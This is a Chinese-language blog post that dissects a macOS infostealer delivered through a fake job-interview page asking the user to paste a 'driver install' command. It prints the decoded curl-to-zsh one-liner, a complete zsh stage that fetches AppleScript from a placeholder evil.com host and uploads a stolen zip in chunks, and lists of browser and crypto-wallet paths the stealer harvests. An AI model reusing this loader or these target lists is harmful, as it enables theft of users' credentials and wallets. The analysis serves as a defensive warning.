文中代码均已消毒处理


最近在看新的工作机会,遇到一个让加 tg 的,本来觉着没啥,也就在 tg 上沟通

越聊越觉得对面的文字不像是人打出来的,遣词造句的风格,难以言说

终于发来了面试链接,一点开就是个弹窗,要复制命令装驱动,一眼钓鱼

img_1

还是按耐不住好奇心,复制来看看,最基础的 echo | base64 -d | zsh

于是解码看看是啥

echo ‘The sound carder drver certificate is currently beinginstalledand updated. Please wait…’ & curl xxx.evil/xxx | zsh

好嘛,又下载了一个脚本,接着扒

img_2

又是个 base64 之后的压缩包解压再 eval 的脚本,继续解压看看

 1#!/bin/zsh
 2daemon_function() {
 3    exec </dev/null
 4    exec >/dev/null
 5    exec 2>/dev/null
 6    local domain="evil.com"
 7    local token="xxxx"
 8    local api_key="xx"
 9    local file="/tmp/osalogging.zip"
10    if [ $# -gt 0 ]; then
11        curl -k -s --max-time 30 \
12            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
13            -H "api-key: $api_key" \
14            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
15    else
16        curl -k -s --max-time 30 \
17            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
18            -H "api-key: $api_key" \
19            "http://$domain/dynamic?txd=$token" | osascript
20    fi
21    if [ $? -ne 0 ]; then
22        exit 1
23    fi
24    if [[ ! -f "$file" || ! -s "$file" ]]; then
25        return 1
26    fi
27    local CHUNK_SIZE=$((10 * 1024 * 1024))
28    local MAX_RETRIES=8
29    local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
30    local total_size
31    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
32    if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
33        return 1
34    fi
35    local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
36    local i=0
37    while (( i < total_chunks )); do
38        local offset=$((i * CHUNK_SIZE))
39        local chunk_size=$CHUNK_SIZE
40        (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
41        local success=0
42        local attempt=1
43        while (( attempt <= MAX_RETRIES && success == 0 )); do
44            http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
45                curl -k -s -X PUT \
46                --data-binary @- \
47                -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
48                -H "api-key: $api_key" \
49                --max-time 180 \
50                -o /dev/null \
51                -w "%{http_code}" \
52                "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
53            curl_status=$?
54            if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
55                success=1
56            else
57                ((attempt++))
58                sleep $((3 + attempt * 2))
59            fi
60        done
61        if (( success == 0 )); then
62            return 1
63        fi
64        ((i++))
65    done
66    rm -f "$file"
67    return 0
68}
69if daemon_function "$@" & then
70    exit 0
71else
72    exit 1
73fi

终于是个有点事做的脚本了,做的事情也很简单,下载恶意脚本交给 osascript 执行,再上传本地的 /tmp/osalogging.zip 包

可能因为我访问链接是 macOS 系统,所以给出的是 osascript 脚本

这下下载到的就事真正做坏事的脚本了,只贴出无害部分

set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Yandex", library & "Yandex/YandexBrowser/"}}
set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Chrome Dev", library & "Google/Chrome Dev/"}}
set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}

set geckoMap to {}
set geckoMap to geckoMap & {{"Firefox", library & "Firefox/Profiles/"}}
set geckoMap to geckoMap & {{"Zen", library & "zen/Profiles/"}}
set geckoMap to geckoMap & {{"LibreWolf", library & "LibreWolf/Profiles/"}}
set geckoMap to geckoMap & {{"Waterfox", library & "Waterfox/Profiles/"}}

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "Atomic Wallet/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda", library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Coinomi", library & "Coinomi/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Armory", library & "Armory/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electron_Cash", profile & "/.electron-cash/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero", profile & "/.bitmonero/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Litecoin_Core", library & "Litecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}


Chromium(writemind, chromiumMap)
ChromiumWallets(writemind, chromiumMap)
Gecko(writemind, geckoMap)
DesktopWallets(writemind, walletMap)
Telegram(writemind, library)
Keychains(writemind)
CloudKeys(writemind & "Profile/")
Processes(writemind)

Filegrabber(writemind)

try
        do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
        do shell script "rm -rf /tmp/sync*"
end try

坏得很呀,各大浏览器,各个钱包的数据,全部打包到 /tmp/osalogging.zip

配合刚才那个脚本,所有数据打包上传一条龙,不小心执行了网页上复制的命令可就得遭老罪了